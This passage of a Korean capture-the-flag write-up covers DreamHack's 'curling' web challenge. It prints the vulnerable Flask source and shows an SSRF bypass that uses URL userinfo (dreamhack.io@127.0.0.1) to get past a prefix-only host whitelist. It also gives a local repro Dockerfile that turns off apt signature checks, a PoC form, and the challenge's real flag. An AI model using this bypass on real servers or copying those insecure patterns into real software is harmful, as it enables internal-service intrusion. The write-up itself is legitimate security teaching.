[๐Ÿฅˆ Silver 2] ๊ฒ€์‚ฌ๊ธฐ๋Š” ๋ฌธ์ž์—ด์„ ๋ณด๊ณ  curl ์€ URL ์„ ํŒŒ์‹ฑํ•œ๋‹ค โ€” DreamHack curling ํ’€์ด

2026-07-29ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 2] ๊ฒ€์‚ฌ๊ธฐ๋Š” ๋ฌธ์ž์—ด์„ ๋ณด๊ณ  curl ์€ URL ์„ ํŒŒ์‹ฑํ•œ๋‹ค โ€” DreamHack curling ํ’€์ด

"simple api server" ๋ผ๋Š” ํ•œ ์ค„ ์„ค๋ช…์ด ์ „๋ถ€์ธ ๋ฌธ์ œ. 46์ค„์งœ๋ฆฌ Flask ์•ฑ์ด url ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›์•„ curl ๋กœ ๋Œ€์‹  ์š”์ฒญํ•ด ์ฃผ๋Š”๋ฐ, ํ˜ธ์ŠคํŠธ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๊ฐ€ ์ ‘๋‘์‚ฌ ๋น„๊ต๋ผ์„œ URL ์˜ userinfo ๋ฅผ ๋ผ์›Œ ๋„ฃ์œผ๋ฉด ํ†ต๊ณผํ•˜๊ณ , ์—”๋“œํฌ์ธํŠธ ์ฐจ๋‹จ์€ ๋ฌธ์ž์—ด ๋๋งŒ ๋ด์„œ ๋ฌผ์Œํ‘œ ํ•˜๋‚˜์— ๋ฌด๋„ˆ์ง„๋‹ค. ๋‘ ๊ตฌ๋ฉ์„ ํ•œ ์ค„์— ๊ฒน์ณ ๋†“์œผ๋ฉด ์„œ๋ฒ„๊ฐ€ ์ž๊ธฐ ์ž์‹ ์—๊ฒŒ ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ฑ‰๋Š”๋‹ค.

๋ฌธ์ œ: DreamHack โ€” curling ๋ถ„๋ฅ˜: web ๋‚œ์ด๋„: ๐Ÿฅˆ Silver 2 FLAG: DH{S5Rf_1s_funNy:IGk+ne69OJvKOBX8HCnl2g==}

๋ฌธ์ œ ์„ค๋ช…์€ ์„ธ ๋‹จ์–ด๋‹ค. "simple api server".

์ธ์Šคํ„ด์Šค๋ฅผ ์ผœ๊ณ  ๋ฃจํŠธ๋กœ ๋“ค์–ด๊ฐ€๋ฉด ์•„๋ฌด๊ฒƒ๋„ ์—†๋‹ค. Flask ๊ธฐ๋ณธ 404 ๋งŒ ๋Œ์•„์˜จ๋‹ค.

๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค ๋ฃจํŠธ ์ ‘์† ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์— host3.dreamhack.games ํฌํŠธ๊ฐ€ ๋ณด์ด๊ณ  ๋ณธ๋ฌธ์€ Flask ๊ธฐ๋ณธ 404 Not Found ํŽ˜์ด์ง€๋‹ค.
๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค ๋ฃจํŠธ ์ ‘์† ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์— host3.dreamhack.games ํฌํŠธ๊ฐ€ ๋ณด์ด๊ณ  ๋ณธ๋ฌธ์€ Flask ๊ธฐ๋ณธ 404 Not Found ํŽ˜์ด์ง€๋‹ค.

ํ™”๋ฉด์œผ๋กœ ํƒ์ƒ‰ํ•  ๊ฒŒ ์—†๋Š” ๋ฌธ์ œ๋‹ค. ๋Œ€์‹  ๋ฐฐํฌ๋ณธ ์†Œ์Šค๊ฐ€ ํ†ต์งธ๋กœ ๋“ค์–ด ์žˆ๋‹ค. ์ฝ์–ด ๋ณด๋ฉด 46์ค„์ด๊ณ , ๊ทธ ์•ˆ์— ๊ตฌ๋ฉ์ด ์„ธ ๊ฐœ ๊ฒน์ณ ์žˆ๋‹ค.


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…curling
๋‚œ์ด๋„๐Ÿฅˆ Silver 2
๋ถ„๋ฅ˜web
์ŠคํƒPython 3.10 ยท Flask ยท Werkzeug 3.1.8 ยท Debian buster
์ œ๊ณต ํŒŒ์ผdeploy/app.py, deploy/requirements.txt, Dockerfile, flag
๊ณต๊ฒฉ ํ‘œ๋ฉดPOST /api/v1/test/curl ์˜ url ํŒŒ๋ผ๋ฏธํ„ฐ ํ•˜๋‚˜
ํ•ต์‹ฌ ์ทจ์•ฝ์ ์ ‘๋‘์‚ฌ ๋น„๊ต ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ + URL userinfo ๋ฅผ ์ด์šฉํ•œ SSRF

ํ’€์ด ํ๋ฆ„์€ ์งง๋‹ค.

ํ”Œ๋ž˜๊ทธ๋ฅผ ์ฃผ๋Š” ์—”๋“œํฌ์ธํŠธ๊ฐ€ 127.0.0.1 ์—์„œ๋งŒ ์—ด๋ฆฐ๋‹ค. ์„œ๋ฒ„์—๋Š” ์ž„์˜์˜ URL ์„ ๋Œ€์‹  curl ๋กœ ๊ธ์–ด ์ฃผ๋Š” ๊ธฐ๋Šฅ์ด ์žˆ๋‹ค. ๊ทธ ๊ธฐ๋Šฅ์˜ ํ˜ธ์ŠคํŠธ ๊ฒ€์‚ฌ๊ฐ€ ์ ‘๋‘์‚ฌ ๋น„๊ต๋ผ์„œ, ๋ชฉ์ ์ง€๋ฅผ ๋‚ด๊ฐ€ ์ •ํ•  ์ˆ˜ ์žˆ๋‹ค.

์ •๋ฆฌํ•˜๋ฉด ์„œ๋ฒ„์—๊ฒŒ "๋„ค ์ž์‹ ์—๊ฒŒ ์š”์ฒญ์„ ๋ณด๋‚ด ๋‹ฌ๋ผ"๊ณ  ์‹œํ‚ค๋Š” ๋ฌธ์ œ๋‹ค. ์ „ํ˜•์ ์ธ SSRF ๊ตฌ๋„์ธ๋ฐ, ๊ด€๋ฌธ์ด ๋‘ ๊ฐœ๋ผ ์šฐํšŒ๋„ ๋‘ ๊ฒน์œผ๋กœ ๊ฒน์ณ์•ผ ํ•œ๋‹ค.



๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ โ€” 46์ค„์ด ์ „๋ถ€๋‹ค

๋ฐฐํฌ๋ณธ์„ ํ’€๋ฉด ํŒŒ์ผ์ด ๋„ท๋ฟ์ด๋‹ค. ์–ด๋А ์ค„์„ ๋ด์•ผ ํ•˜๋Š”์ง€๋ถ€ํ„ฐ ์žก๊ณ  ๋“ค์–ด๊ฐ”๋‹ค.

find extracted -type f | sort ; grep -nE "route|ALLOWED_HOSTS|remote_addr|startswith|endswith|run\(" extracted/deploy/app.py

๋ฐฐํฌ๋ณธ์„ ํ‘ผ extracted ํด๋”์˜ ํŒŒ์ผ ๋„ท์„ find ๋กœ ๋‚˜์—ดํ•˜๊ณ , ์ด์–ด์„œ grep -nE ๋กœ app.py ์˜ ๋ผ์šฐํŠธ ๋‘ ๊ฐœ์™€ ALLOWED_HOSTSยทstartswithยทendswithยทremote_addr ๊ฒ€์‚ฌ ์ค„์„ ํ•œ ๋ฒˆ์— ๋ฝ‘์•„ ๋‚ธ ํ„ฐ๋ฏธ๋„ ํ™”๋ฉด
๋ฐฐํฌ๋ณธ์„ ํ‘ผ extracted ํด๋”์˜ ํŒŒ์ผ ๋„ท์„ find ๋กœ ๋‚˜์—ดํ•˜๊ณ , ์ด์–ด์„œ grep -nE ๋กœ app.py ์˜ ๋ผ์šฐํŠธ ๋‘ ๊ฐœ์™€ ALLOWED_HOSTSยทstartswithยทendswithยทremote_addr ๊ฒ€์‚ฌ ์ค„์„ ํ•œ ๋ฒˆ์— ๋ฝ‘์•„ ๋‚ธ ํ„ฐ๋ฏธ๋„ ํ™”๋ฉด

๋ผ์šฐํŠธ๋Š” ๋‘˜, ๊ฒ€์‚ฌ๋Š” ๋‘˜์ด๋‹ค. ์ „๋ฌธ์€ ์ด๋ ‡๋‹ค.

from flask import Flask, request
from os import urandom
from subprocess import run, TimeoutExpired
 
app = Flask(__name__)
app.secret_key = urandom(32)
 
try:
    FLAG = open("/flag", "r").read().strip()
except:
    FLAG = "[**FLAG**]"
 
ALLOWED_HOSTS = ['dreamhack.io', 'tools.dreamhack.io']
 
@app.route("/api/v1/test/curl", methods=["POST"])
def admin():
    url = request.form["url"].strip()
    for host in ALLOWED_HOSTS:
        if url.startswith('http://' + host):
            break
 
        return {'result': False, 'msg': 'Not Allowed host'}
 
    if url.endswith('/test/internal'):
        return {'result': False, 'msg': 'Not Allowed endpoint'}
 
    try:
        response = run(
            ["curl", f"{url}"], capture_output=True, text=True, timeout=1
        )
        return {'result': True, 'msg': response.stdout}
 
    except TimeoutExpired:
        return {'result': False, 'msg': 'Timeout'}
 
 
@app.route('/api/v1/test/internal', methods=["GET"])
def test():
    ip = request.remote_addr
    if not ip == '127.0.0.1':
        return {'result': False, 'msg': 'Only local access is allowed'}
    return {'result': True, 'msg': FLAG}
 
 
if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8000')

๋ชฉํ‘œ๋Š” ๋ช…ํ™•ํ•˜๋‹ค. /api/v1/test/internal ์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ์ค€๋‹ค. ๋‹ค๋งŒ request.remote_addr ๊ฐ€ 127.0.0.1 ์ด์–ด์•ผ ํ•œ๋‹ค.

๋ฐ–์—์„œ ๊ทธ๋ƒฅ ์—ด์–ด ๋ณด๋ฉด ๋‹น์—ฐํžˆ ๊ฑฐ์ ˆ๋‹นํ•œ๋‹ค.

๋ธŒ๋ผ์šฐ์ €๋กœ /api/v1/test/internal ์— ์ง์ ‘ ์ ‘๊ทผํ•œ ํ™”๋ฉด. Only local access is allowed ๋ผ๋Š” JSON ์‘๋‹ต์ด ๋–ด๋‹ค.
๋ธŒ๋ผ์šฐ์ €๋กœ /api/v1/test/internal ์— ์ง์ ‘ ์ ‘๊ทผํ•œ ํ™”๋ฉด. Only local access is allowed ๋ผ๋Š” JSON ์‘๋‹ต์ด ๋–ด๋‹ค.

๊ทธ๋Ÿฌ๋‹ˆ๊นŒ ํ•„์š”ํ•œ ๊ฑด "์„œ๋ฒ„ ์•ˆ์—์„œ ๋‚˜์˜จ ์š”์ฒญ"์ด๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์„œ๋ฒ„ ์•ˆ์—์„œ ์š”์ฒญ์„ ๋งŒ๋“ค์–ด ์ฃผ๋Š” ๊ธฐ๋Šฅ์ด ๋ฐ”๋กœ ์˜†์— ์žˆ๋‹ค. curl ์„ ๋Œ€์‹  ์‹คํ–‰ํ•ด ์ฃผ๋Š” ๋ผ์šฐํŠธ๋‹ค.

์—ฌ๊ธฐ์„œ ํ•˜๋‚˜ ๋จผ์ € ์ ‘์–ด ๋‘˜ ๊ฒŒ ์žˆ๋‹ค. run(["curl", f"{url}"], ...) ๋Š” ๋ฆฌ์ŠคํŠธ ์ธ์ž๋‹ค. ์…ธ์„ ๊ฑฐ์น˜์ง€ ์•Š์œผ๋‹ˆ ;๋‚˜ $(...) ๊ฐ™์€ ๊ฑธ ๋„ฃ์–ด๋„ ๊ทธ๋ƒฅ URL ๋ฌธ์ž์—ด์˜ ์ผ๋ถ€๊ฐ€ ๋œ๋‹ค. ๋ช…๋ น ์ฃผ์ž… ์ชฝ์€ ๊ธธ์ด ์•„๋‹ˆ๋‹ค. ๋’ค์—์„œ ์‹ค์ œ ์‘๋‹ต์œผ๋กœ ํ™•์ธํ•œ๋‹ค.


๐Ÿ’ฃ ๊ด€๋ฌธ โ‘  โ€” for ๋ฃจํ”„ ์•ˆ์— ๋“ค์–ด๊ฐ„ return

ํ˜ธ์ŠคํŠธ ๊ฒ€์‚ฌ๊ฐ€ ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค.

for host in ALLOWED_HOSTS:
    if url.startswith('http://' + host):
        break
 
    return {'result': False, 'msg': 'Not Allowed host'}

๋“ค์—ฌ์“ฐ๊ธฐ๋ฅผ ๋‹ค์‹œ ๋ณธ๋‹ค. return ์ด for ๋ธ”๋ก ์•ˆ์— ์žˆ๋‹ค.

์ฒซ ๋ฒˆ์งธ ์›์†Œ๋กœ ๋ฃจํ”„๊ฐ€ ํ•œ ๋ฒˆ ๋Œ๋ฉด, ์ ‘๋‘์‚ฌ๊ฐ€ ๋งž์œผ๋ฉด break, ์•ˆ ๋งž์œผ๋ฉด return ์ด๋‹ค. ์–ด๋А ์ชฝ์ด๋“  ๋ฃจํ”„๋Š” ์ฒซ ๋ฐ”ํ€ด์—์„œ ๋๋‚œ๋‹ค. ๋‘ ๋ฒˆ์งธ ์›์†Œ tools.dreamhack.io ๋Š” ์˜์›ํžˆ ๊ฒ€์‚ฌ๋˜์ง€ ์•Š๋Š”๋‹ค.

ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ์— ๋‘ ๊ฐœ๋ฅผ ์ ์–ด ๋†จ์ง€๋งŒ ์‹ค์ œ๋กœ ๋™์ž‘ํ•˜๋Š” ๊ทœ์น™์€ ํ•˜๋‚˜๋ฟ์ด๋ผ๋Š” ๋œป์ด๋‹ค.

url.startswith('http://dreamhack.io')

๋ง๋กœ๋งŒ ํ•˜๋ฉด ๋ฏธ๋ฅ์ง€ ์•Š์œผ๋‹ˆ ๊ทธ ๋ฃจํ”„๋งŒ ๋–ผ์–ด ์™€์„œ ๋Œ๋ ค ๋ดค๋‹ค.

# tools_loop_demo.py
ALLOWED_HOSTS = ['dreamhack.io', 'tools.dreamhack.io']
 
 
def check(url: str) -> bool:
    """app.py ์˜ for ๋ฃจํ”„ ๊ทธ๋Œ€๋กœ. True = ํ†ต๊ณผ, False = 'Not Allowed host'."""
    for host in ALLOWED_HOSTS:
        if url.startswith('http://' + host):
            break
 
        return False        # โ† ์ด return ์ด ๋ฃจํ”„ '์•ˆ'์— ์žˆ๋‹ค
    return True
 
 
CASES = [
    'http://dreamhack.io/',
    'http://tools.dreamhack.io/',                       # ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ 2๋ฒˆ์งธ์ธ๋ฐ?
    'http://dreamhack.io.attacker.test/',
    'http://dreamhack.io@127.0.0.1:8000/',
    'http://127.0.0.1:8000/',
]
 
print(f"ALLOWED_HOSTS = {ALLOWED_HOSTS}")
print(f"๋ฃจํ”„๊ฐ€ ์‹ค์ œ๋กœ ๊ฒ€์‚ฌํ•˜๋Š” ์›์†Œ ๊ฐœ์ˆ˜: {1}  (์ฒซ ์›์†Œ์—์„œ ๋ฌด์กฐ๊ฑด return/break)")
print()
for url in CASES:
    print(f"  {'ํ†ต๊ณผ' if check(url) else '์ฐจ๋‹จ'}  {url}")

check() ์•ˆ์ชฝ์€ app.py 15~22ํ–‰์„ ํ•œ ๊ธ€์ž๋„ ๋ฐ”๊พธ์ง€ ์•Š๊ณ  ์˜ฎ๊ธด ๊ฒƒ์ด๋‹ค. ๋ฐ”๊นฅ์˜ ์ถœ๋ ฅ ๋ผ๋ฒจ์€ ํ™•์ธ์šฉ์œผ๋กœ ๋‚ด๊ฐ€ ๋ถ™์˜€๋‹ค.

tools_loop_demo.py ์‹คํ–‰ ๊ฒฐ๊ณผ. ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ 2๋ฒˆ์งธ ํ˜ธ์ŠคํŠธ์ธ tools.dreamhack.io ๊ฐ€ ์ฐจ๋‹จ์œผ๋กœ ๋‚˜์˜ค๊ณ , dreamhack.io ๋กœ ์‹œ์ž‘ํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด ์ „ํ˜€ ๋‹ค๋ฅธ ๋ชฉ์ ์ง€๋„ ํ†ต๊ณผ๋กœ ๋‚˜์˜จ๋‹ค.
tools_loop_demo.py ์‹คํ–‰ ๊ฒฐ๊ณผ. ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ 2๋ฒˆ์งธ ํ˜ธ์ŠคํŠธ์ธ tools.dreamhack.io ๊ฐ€ ์ฐจ๋‹จ์œผ๋กœ ๋‚˜์˜ค๊ณ , dreamhack.io ๋กœ ์‹œ์ž‘ํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด ์ „ํ˜€ ๋‹ค๋ฅธ ๋ชฉ์ ์ง€๋„ ํ†ต๊ณผ๋กœ ๋‚˜์˜จ๋‹ค.

์„ธ ๋ฒˆ์งธ ์ค„์ด ๋ˆˆ์— ๊ฑธ๋ฆฐ๋‹ค. http://dreamhack.io.attacker.test/ ๊ฐ€ ํ†ต๊ณผ๋‹ค. ์ ‘๋‘์‚ฌ๋งŒ ๋ณด๋‹ˆ๊นŒ ๊ทธ ๋’ค์— ๋ญ˜ ๋ถ™์ด๋“  ์ƒ๊ด€์ด ์—†๋‹ค.

๊ทธ๋ฆฌ๊ณ  ๋„ค ๋ฒˆ์งธ ์ค„. http://dreamhack.io@127.0.0.1:8000/ ๋„ ํ†ต๊ณผ๋‹ค. ์ด๊ฒŒ ์ด ๋ฌธ์ œ์˜ ์—ด์‡ ์ธ๋ฐ, ์™œ ์ด๊ฒŒ 127.0.0.1 ๋กœ ๊ฐ€๋Š”์ง€๋Š” ๊ด€๋ฌธ โ‘ก ๋ฅผ ์ง€๋‚˜๊ณ  ๋‚˜์„œ ์ •๋ฆฌํ•œ๋‹ค.


๐Ÿงช ๋กœ์ปฌ ์žฌํ˜„ ํ™˜๊ฒฝ๋ถ€ํ„ฐ ๋งŒ๋“ ๋‹ค

๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค๋Š” VM ํฌ๋ ˆ๋”ง์„ ๋จน๊ณ , ์‹œ๊ฐ„์ œํ•œ๋„ ์žˆ๋‹ค. ์†Œ์Šค๊ฐ€ ํ†ต์งธ๋กœ ์žˆ์œผ๋‹ˆ ๋กœ์ปฌ์—์„œ ๋‹ค ๋๋‚ด ๋†“๊ณ  ๋งˆ์ง€๋ง‰์—๋งŒ ๋ถ™๋Š” ์ชฝ์ด ๋‚ซ๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ๋ฐฐํฌ๋œ Dockerfile ์„ ๊ทธ๋Œ€๋กœ ๋นŒ๋“œํ•˜๋ฉด ์‹คํŒจํ•œ๋‹ค.

E: The repository 'http://deb.debian.org/debian buster-updates Release' does not have a Release file.

python:3.10-slim-buster ๊ธฐ๋ฐ˜์ธ๋ฐ buster ๊ฐ€ EOL ๋ผ์„œ deb.debian.org ์—์„œ ์ธ๋ฑ์Šค๊ฐ€ ๋‚ด๋ ค๊ฐ”๋‹ค. ์ถœ์ œ ๋‹น์‹œ ๋นŒ๋“œ๋œ ์„œ๋ฒ„ ์ด๋ฏธ์ง€๋Š” ๋ฉ€์ฉกํžˆ ๋Œ์ง€๋งŒ, ์ง€๊ธˆ ๋‚ด ์†์—์„œ ๋‹ค์‹œ ๋นŒ๋“œํ•˜๋ ค๋ฉด ์ €์žฅ์†Œ๋ฅผ ๊ฐˆ์•„๋ผ์›Œ์•ผ ํ•œ๋‹ค.

# Dockerfile.local โ€” ๋ฐฐํฌ๋ณธ๊ณผ ๋™์ผํ•˜๋˜ apt ์ €์žฅ์†Œ๋งŒ archive ๋กœ
FROM python:3.10-slim-buster
 
ENV USER=dreamhack
ENV PORT=8000
RUN adduser --disabled-password $USER -u 1337
 
RUN printf '%s\n' \
      'deb [check-valid-until=no] http://archive.debian.org/debian buster main' \
      'deb [check-valid-until=no] http://archive.debian.org/debian-security buster/updates main' \
      > /etc/apt/sources.list \
 && apt-get -o Acquire::AllowInsecureRepositories=true \
            -o Acquire::AllowDowngradeToInsecureRepositories=true update -y \
 && apt-get -o APT::Get::AllowUnauthenticated=true install -y curl
 
WORKDIR /app
COPY ./extracted/deploy .
COPY ./extracted/flag /
 
RUN pip install -r requirements.txt
 
EXPOSE $PORT
 
CMD ["python3","app.py"]

์›๋ณธ์— ์žˆ๋˜ build-essential wget unzip ์€ ๋บ๋‹ค. ์ด ๋ฌธ์ œ์—์„œ ์‹ค์ œ๋กœ ์“ฐ์ด๋Š” ๊ฑด curl ํ•˜๋‚˜๋‹ค. ์ปจํ…Œ์ด๋„ˆ ์•ˆ 8000 ๋ฒˆ์„ ํ˜ธ์ŠคํŠธ 18000 ๋ฒˆ์œผ๋กœ ๋นผ์„œ ๋„์šด๋‹ค.

#!/usr/bin/env bash
# run_local.sh โ€” ๋กœ์ปฌ ์žฌํ˜„ ํ™˜๊ฒฝ ๊ธฐ๋™
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
docker build -q -f Dockerfile.local -t curling-local .
docker rm -f curling-local >/dev/null 2>&1 || true
docker run -d --name curling-local -p 18000:8000 curling-local >/dev/null
sleep 2
 
docker ps --filter name=curling-local --format '{{.Names}}  {{.Status}}  {{.Ports}}'
echo    "๋™๋ด‰๋œ ๋กœ์ปฌ flag : $(cat extracted/flag)"
echo -n 'ํ—ˆ์šฉ ํ˜ธ์ŠคํŠธ ํ†ต๊ณผ : '
curl -s -m 5 -X POST http://127.0.0.1:18000/api/v1/test/curl \
     -d 'url=http://dreamhack.io/' | cut -c1-72

run_local.sh ์‹คํ–‰ ํ™”๋ฉด. ์ปจํ…Œ์ด๋„ˆ๊ฐ€ 18000 ํฌํŠธ๋กœ ์˜ฌ๋ผ์˜ค๊ณ , ๋ฐฐํฌ๋ณธ์— ๋™๋ด‰๋œ ๋กœ์ปฌ flag ๊ฐ’๊ณผ ํ—ˆ์šฉ ํ˜ธ์ŠคํŠธ ์š”์ฒญ์˜ ์‘๋‹ต์ด ํ•จ๊ป˜ ์ฐํ˜”๋‹ค.
run_local.sh ์‹คํ–‰ ํ™”๋ฉด. ์ปจํ…Œ์ด๋„ˆ๊ฐ€ 18000 ํฌํŠธ๋กœ ์˜ฌ๋ผ์˜ค๊ณ , ๋ฐฐํฌ๋ณธ์— ๋™๋ด‰๋œ ๋กœ์ปฌ flag ๊ฐ’๊ณผ ํ—ˆ์šฉ ํ˜ธ์ŠคํŠธ ์š”์ฒญ์˜ ์‘๋‹ต์ด ํ•จ๊ป˜ ์ฐํ˜”๋‹ค.

๋ฐฐํฌ๋ณธ์— ๋“ค์–ด ์žˆ๋Š” flag ํŒŒ์ผ ๋‚ด์šฉ์€ DH{fake_flag} ๋‹ค. ์ง„์งœ ํ”Œ๋ž˜๊ทธ๋Š” ๋ฌธ์ œ ์„œ๋ฒ„ ์ปจํ…Œ์ด๋„ˆ ์•ˆ /flag ์—๋งŒ ์žˆ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ๋กœ์ปฌ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š” ๊ฑด "์ฒด์ธ์ด ๋™์ž‘ํ•˜๋Š”๊ฐ€"๊นŒ์ง€๊ณ , ๊ฐ’ ์ž์ฒด๋Š” ๋งˆ์ง€๋ง‰์— ๋ผ์ด๋ธŒ์—์„œ ๋ฐ›์•„์•ผ ํ•œ๋‹ค.

ํ—ˆ์šฉ ํ˜ธ์ŠคํŠธ๋กœ ์š”์ฒญํ•˜๋ฉด dreamhack.io ์˜ 301 ์‘๋‹ต์ด ๊ทธ๋Œ€๋กœ ๋Œ์•„์˜จ๋‹ค. ์„œ๋ฒ„๊ฐ€ ์ •๋ง ๋‚ด ๋Œ€์‹  ๋‚˜๊ฐ€์„œ ๊ธ์–ด ์˜จ๋‹ค๋Š” ๋œป์ด๋‹ค. ์—ฌ๊ธฐ๊นŒ์ง€๊ฐ€ ์ •์ƒ ๋™์ž‘์ด๋‹ค.


๐Ÿงฐ ์ฐ”๋Ÿฌ ๋ณด๊ธฐ โ€” POST ์ „์šฉ์ด๋ผ ํผ์„ ํ•˜๋‚˜ ๋งŒ๋“ค์—ˆ๋‹ค

/api/v1/test/curl ์€ POST ๋งŒ ๋ฐ›๋Š”๋‹ค. ๋ธŒ๋ผ์šฐ์ € ์ฃผ์†Œ์ฐฝ์œผ๋กœ๋Š” ๋ชป ๊ฑด๋“œ๋ฆฐ๋‹ค. curl ๋กœ๋งŒ ํ•ด๋„ ๋˜์ง€๋งŒ, ์‘๋‹ต์„ ๋ˆˆ์œผ๋กœ ๋ณด๋ฉด์„œ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ”๊ฟ” ๋ณด๊ณ  ์‹ถ์–ด์„œ ํผ ํŽ˜์ด์ง€๋ฅผ ํ•˜๋‚˜ ๋งŒ๋“ค์—ˆ๋‹ค.

<!-- poc.html โ€” ๋ฐœ์ทŒ. action ์€ ?target= ๋กœ ๋„˜๊ธด ๊ฐ’์œผ๋กœ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ฑ„์šด๋‹ค -->
<form id="f" method="POST" action="">
  <label for="url">url</label>
  <input id="url" name="url" value="" autocomplete="off">
  <button type="submit">send</button>
</form>
 
<script>
  const target = new URLSearchParams(location.search).get("target");
  if (target) document.getElementById("f").action = target.replace(/\/$/, "") + "/api/v1/test/curl";
</script>

ํผ ์ „์†ก์€ CORS ์ œ์•ฝ์„ ๋ฐ›์ง€ ์•Š์œผ๋‹ˆ file:// ๋กœ ์—ด์–ด ๋‘” ํŽ˜์ด์ง€์—์„œ ๋ฐ”๋กœ ์  ์ˆ˜ ์žˆ๋‹ค.

๋กœ์ปฌ์— ๋งŒ๋“  poc.html ํผ ํ™”๋ฉด. url ์ž…๋ ฅ์นธ์— http://127.0.0.1:8000/api/v1/test/internal ์ด ์ฑ„์›Œ์ ธ ์žˆ๊ณ  ์ฃผ์†Œ์ฐฝ์— file:// ๊ฒฝ๋กœ๊ฐ€ ๋ณด์ธ๋‹ค.
๋กœ์ปฌ์— ๋งŒ๋“  poc.html ํผ ํ™”๋ฉด. url ์ž…๋ ฅ์นธ์— http://127.0.0.1:8000/api/v1/test/internal ์ด ์ฑ„์›Œ์ ธ ์žˆ๊ณ  ์ฃผ์†Œ์ฐฝ์— file:// ๊ฒฝ๋กœ๊ฐ€ ๋ณด์ธ๋‹ค.

๋จผ์ € ์•„๋ฌด ์šฐํšŒ ์—†์ด ๋‚ด๋ถ€ ์ฃผ์†Œ๋ฅผ ๊ทธ๋Œ€๋กœ ๋„ฃ์–ด ๋ณธ๋‹ค.

์œ„ ํผ์„ ์ „์†กํ•œ ๊ฒฐ๊ณผ. Not Allowed host ๋ผ๋Š” JSON ์ด ๋Œ์•„์™”๊ณ  ์ฃผ์†Œ์ฐฝ์€ ๋ฌธ์ œ ์„œ๋ฒ„์˜ /api/v1/test/curl ์ด๋‹ค.
์œ„ ํผ์„ ์ „์†กํ•œ ๊ฒฐ๊ณผ. Not Allowed host ๋ผ๋Š” JSON ์ด ๋Œ์•„์™”๊ณ  ์ฃผ์†Œ์ฐฝ์€ ๋ฌธ์ œ ์„œ๋ฒ„์˜ /api/v1/test/curl ์ด๋‹ค.

Not Allowed host. ์˜ˆ์ƒ๋Œ€๋กœ ๊ด€๋ฌธ โ‘  ์—์„œ ๋ง‰ํžŒ๋‹ค. http://dreamhack.io ๋กœ ์‹œ์ž‘ํ•ด์•ผ ํ•˜๋Š”๋ฐ, ๊ทธ๋Ÿฌ๋ฉด์„œ ๋ชฉ์ ์ง€๋Š” 127.0.0.1 ์ด์–ด์•ผ ํ•œ๋‹ค. ์ด ๋‘ ์กฐ๊ฑด์€ ์–ผํ• ๋ชจ์ˆœ์ฒ˜๋Ÿผ ๋ณด์ธ๋‹ค. ๋ชจ์ˆœ์ด ์•„๋‹ˆ๊ฒŒ ๋งŒ๋“ค์–ด ์ฃผ๋Š” ๊ฒŒ URL ๋ฌธ๋ฒ•์ด๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” URL ์—๋Š” ํ˜ธ์ŠคํŠธ ์•ž์— ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ์ ๋Š” ์ž๋ฆฌ๊ฐ€ ์žˆ๋‹ค

RFC 3986 ์˜ authority ๋Š” ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค.

authority = [ userinfo "@" ] host [ ":" port ]

@ ์•ž์€ userinfo, ๋’ค๊ฐ€ ์‹ค์ œ host ๋‹ค. http://user:pass@example.com/ ์ด ์šฐ๋ฆฌ๊ฐ€ ๊ฐ€๋” ๋ณด๋Š” ๊ทธ ํ˜•ํƒœ๋‹ค.

๊ทธ๋ž˜์„œ ์ด๋Ÿฐ URL ์€,

http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal

๋ฌธ์ž์—ด๋กœ ์ฝ์œผ๋ฉด http://dreamhack.io ๋กœ ์‹œ์ž‘ํ•œ๋‹ค. URL ๋กœ ํŒŒ์‹ฑํ•˜๋ฉด host ๋Š” 127.0.0.1, ์‚ฌ์šฉ์ž ์ด๋ฆ„์ด dreamhack.io ๋‹ค.

startswith ๋Š” ์•ž์˜ ํ•ด์„์„ ํ•˜๊ณ , curl ์€ ๋’ค์˜ ํ•ด์„์„ ํ•œ๋‹ค. ๊ฐ™์€ ๋ฌธ์ž์—ด์„ ๋‘ ์ฃผ์ฒด๊ฐ€ ๋‹ค๋ฅด๊ฒŒ ์ฝ๋Š” ๊ฒƒ โ€” ์ด ๋ฌธ์ œ์˜ ์ „๋ถ€๊ฐ€ ์—ฌ๊ธฐ ์žˆ๋‹ค.

